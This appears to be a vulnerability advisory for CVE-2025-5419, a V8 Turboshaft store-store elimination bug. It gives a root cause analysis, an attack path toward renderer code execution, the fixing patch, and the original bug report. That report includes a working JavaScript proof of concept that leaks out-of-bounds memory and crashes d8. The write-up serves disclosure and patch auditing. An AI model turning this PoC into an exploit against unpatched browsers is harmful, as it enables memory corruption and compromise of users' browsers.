CVE-2025-5419
Overview
Background
- Turboshaft
- V8’s newer TurboFan-generation IR and optimization pipeline where the store-store elimination pass runs.
- Store-store elimination
- an optimization that removes a store whose written value is guaranteed to be overwritten or never read (unobservable) before any observing access.
- Alias analysis
- the reasoning that decides whether two memory accesses may refer to the same location, gating whether a store can be considered unobservable.
- Fixed-offset vs. dynamically indexed access
- a
store/loadwith no validindex()targets a constant field offset, whereas one with a validindex()computes its address from a runtime index and can touch many offsets.
Root Cause Analysis
When the pass walks backward and encounters a load, it must mark any earlier store that could feed that load as observable so the store is not eliminated. In the buggy code, MarkPotentiallyAliasingStoresAsObservable(load.base(), load.offset) was only invoked when the load was both on-heap and a fixed-offset load (is_on_heap_load && is_field_load). A dynamically indexed load (valid index()) therefore fell through and marked nothing, even though its runtime-computed address can alias any fixed offset on the same base object.
As a result, a store to a fixed field that is actually read back through an indexed load was wrongly classified as kUnobservable and eliminated.
The fix renames the concept to is_fixed_offset_load and adds an else branch that calls MarkAllStoresAsObservable() for any on-heap dynamically indexed load, conservatively preserving all fixed-offset stores it might alias.
Attack Path
- Craft aliasing pattern Build JavaScript that stores a value to a fixed object field and later reads that same location through a dynamically indexed load on the same base.
- Trigger JIT Make the function hot so Turboshaft compiles it and runs store-store elimination.
- Provoke wrong elimination The indexed load fails to mark the fixed-offset store observable, so the optimizer removes the store, leaving memory in an unintended state.
- Corrupt object state Use the resulting stale/incorrect value (e.g. a length, backing-store pointer, or type field) to build an out-of-bounds read/write primitive.
- Escalate Leverage the OOB primitive for arbitrary read/write and code execution in the renderer.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/compiler/turboshaft/store-store-elimination-reducer-inl.h |
modified |
Files Changed
src/compiler/turboshaft/store-store-elimination-reducer-inl.h
Audit Directions
- Missing indexed-access alias handlingReview every alias/observability decision for cases that special-case fixed-offset accesses and silently drop dynamically indexed ones; indexed accesses must alias conservatively.
- Conservative-default omissionsLook for optimizer passes where an unhandled access category defaults to “no effect” rather than “worst case,” which is the pattern that enabled this elimination bug.
- Base/offset assumptionsAudit uses of
load.offset/store.offsetandindex().valid()to ensure a valid index is never treated as equivalent to a known single offset.
Patch
From 7bc0a67ebfbf44e7adab47fc2bbbe308660e27f4 Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Tue, 27 May 2025 20:33:19 +0200
Subject: [PATCH] [turbofan] Weaken alias analysis in store-store elimination
Bug: 420636529
Change-Id: I7c5a8f47960708cecbb27d811eedc7f754933deb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6594051
Reviewed-by: Shu-yu Guo <syg@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#100530}
---
diff --git a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
index 45654a0..e058a41 100644
--- a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
+++ b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
@@ -325,10 +325,11 @@
// TODO(nicohartmann@): Use the new effect flags to distinguish heap
// access once available.
const bool is_on_heap_store = store.kind.tagged_base;
- const bool is_field_store = !store.index().valid();
+ const bool is_fixed_offset_store = !store.index().valid();
const uint8_t size = store.stored_rep.SizeInBytes();
- // For now we consider only stores of fields of objects on the heap.
- if (is_on_heap_store && is_field_store) {
+ // For now we consider only stores of fixed offsets of objects on the
+ // heap.
+ if (is_on_heap_store && is_fixed_offset_store) {
bool is_eliminable_store = false;
switch (table_.GetObservability(store.base(), store.offset, size)) {
case StoreObservability::kUnobservable:
@@ -415,11 +416,16 @@
// TODO(nicohartmann@): Use the new effect flags to distinguish heap
// access once available.
const bool is_on_heap_load = load.kind.tagged_base;
- const bool is_field_load = !load.index().valid();
+ const bool is_fixed_offset_load = !load.index().valid();
// For now we consider only loads of fields of objects on the heap.
- if (is_on_heap_load && is_field_load) {
- table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
- load.offset);
+ if (is_on_heap_load) {
+ if (is_fixed_offset_load) {
+ table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
+ load.offset);
+ } else {
+ // A dynamically indexed load might alias any fixed offset.
+ table_.MarkAllStoresAsObservable();
+ }
}
break;
}
Original Bug Report
[0-day] Arbitrary read/write within the V8 sandbox via Turbofan
Vulnerability details
NOTE: Google Threat Analysis Group has evidence that the following bug is being used in the wild. Therefore, this bug is subject to Google’s 7 day disclosure deadline.
An arbitrary read/write within the V8 sandbox is possible via a bug in Turbofan.
Version
V8 at commit 610337a26087a854db49f7ab2346d64881ef6150 (May 23 2025)
Reproduction case
The following poc.js will leak data out of bounds and trigger a crash:
let ab = new ArrayBuffer(256);
let dv = new DataView(ab);
function ftoi(t) {
dv.setFloat64(0, t, true);
return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}
console.log('Leak memory');
function foo(i) {
let a = [1.1, 1.1, 1.1];
a[0] = a[i];
return a[0];
}
let x;
while (true) {
x = foo('0');
if (x != 1.1) break;
}
console.log("x =", x, "=", "0x"+ftoi(x).toString(16));
console.log('Trigger crash');
function bar(i) {
let a = [1.1, {}, 1.1];
a[0] = a[i];
}
while (true) {
bar('0');
}
Run with:
$ ./out/x64.release/d8 --verify-heap poc.js
Leak memory
x = -8.864952837205469e-7 = 0xbeadbeefbeadc000
Trigger crash
Received signal 11 SEGV_ACCERR 0f72beac0000
==== C stack trace ===============================
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v84base5debug10StackTraceC1Ev+0x13) [0x565528bcb0f3]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x2aae042) [0x565528bcb042]
/lib/x86_64-linux-gnu/libc.so.6(+0x3fdf0) [0x7f8ced20bdf0]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12ReadOnlyHeap8ContainsENS0_6TaggedINS0_10HeapObjectEEE+0xe) [0x56552788fe4e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal10FixedArray16FixedArrayVerifyEPNS0_7IsolateE+0x64) [0x5655276d43b4]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal6Object12ObjectVerifyENS0_6TaggedIS1_EEPNS0_7IsolateE+0x46) [0x5655276d25b6]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification12VerifyObjectENS0_6TaggedINS0_10HeapObjectEEE+0x61) [0x5655277da5e1]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace13VerifyObjectsEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xbf) [0x56552787be2f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace6VerifyEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xf) [0x56552787bd0f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification6VerifyEv+0x1f0) [0x5655277da080]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12HeapVerifier10VerifyHeapEPNS0_4HeapE+0x13e) [0x5655277e134e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal4Heap24PerformGarbageCollectionENS0_16GarbageCollectorENS0_23GarbageCollectionReasonEPKc+0x332) [0x5655277f98f2]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f4677) [0x565527811677]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f41cf) [0x5655278111cf]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x1ffe92b) [0x56552811b92b]
[end of stack trace]
Segmentation fault (core dumped)
Credit information
Reporter credit: Clement Lecigne and Benoît Sevens of Google Threat Analysis Group